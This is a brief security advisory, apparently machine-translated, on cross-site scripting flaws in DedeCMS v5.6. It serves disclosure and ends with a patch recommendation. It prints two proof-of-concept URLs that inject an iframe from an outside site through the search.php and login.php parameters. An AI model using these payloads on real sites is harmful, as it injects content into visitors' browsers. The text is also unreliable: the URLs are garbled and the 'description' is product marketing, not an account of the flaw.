Dedecms zhimeng v5.6 cross-site Vulnerabilities

Affected Versions:
Dedecms zhimeng v5.6
Vulnerability description:
The DedeCMS content management system software adopts the XML namespace style core template: All templates are saved in the form of files, which greatly facilitates user design templates and website upgrade and transfer, the robust template TAG provides strong support for webmaster DIY websites. High-efficiency tag caching mechanism: Allows cache of similar tags. When HTML is generated, the system response speed is improved and the resources consumed by the system are reduced. Model and module concepts coexist: when the model cannot meet all user needs, DedeCMS introduces some interactive modules to supplement the system and try to meet user needs.

Demo1: http://www.test.com/plus/search.php? Keyword = zhuba & searchtype = titlekeyword & channeltype = 0 & orderby = & kwtype = 1 & pagesize = 10 & typeid = 0 & TotalResult = % 3 Ciframe % 20src = http://www.zhuba.net % 3E & PageNo = 2

Demo2: http://www.test.com/member/login.php? Gourl = % 22% 3E % 3 Ciframe % 20src = http://www.zhuba.net % 3E <* Reference
Http://www.zhuba.net
*>
Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! /Plus/search. php? Keyword = zhuba & searchtype = titlekeyword & channeltype = 0 & orderby = & kwtype = 1 & pagesize = 10 & typeid = 0 & TotalResult = % 3 Ciframe % 20src = http://www.zhuba.net % 3E & PageNo = 2

Http://www.test.com/member/login.php? Gourl = % 22% 3E % 3 Ciframe % 20src = http://www.zhuba.net % 3ESEBUG security recommendations:
Official upgrade patch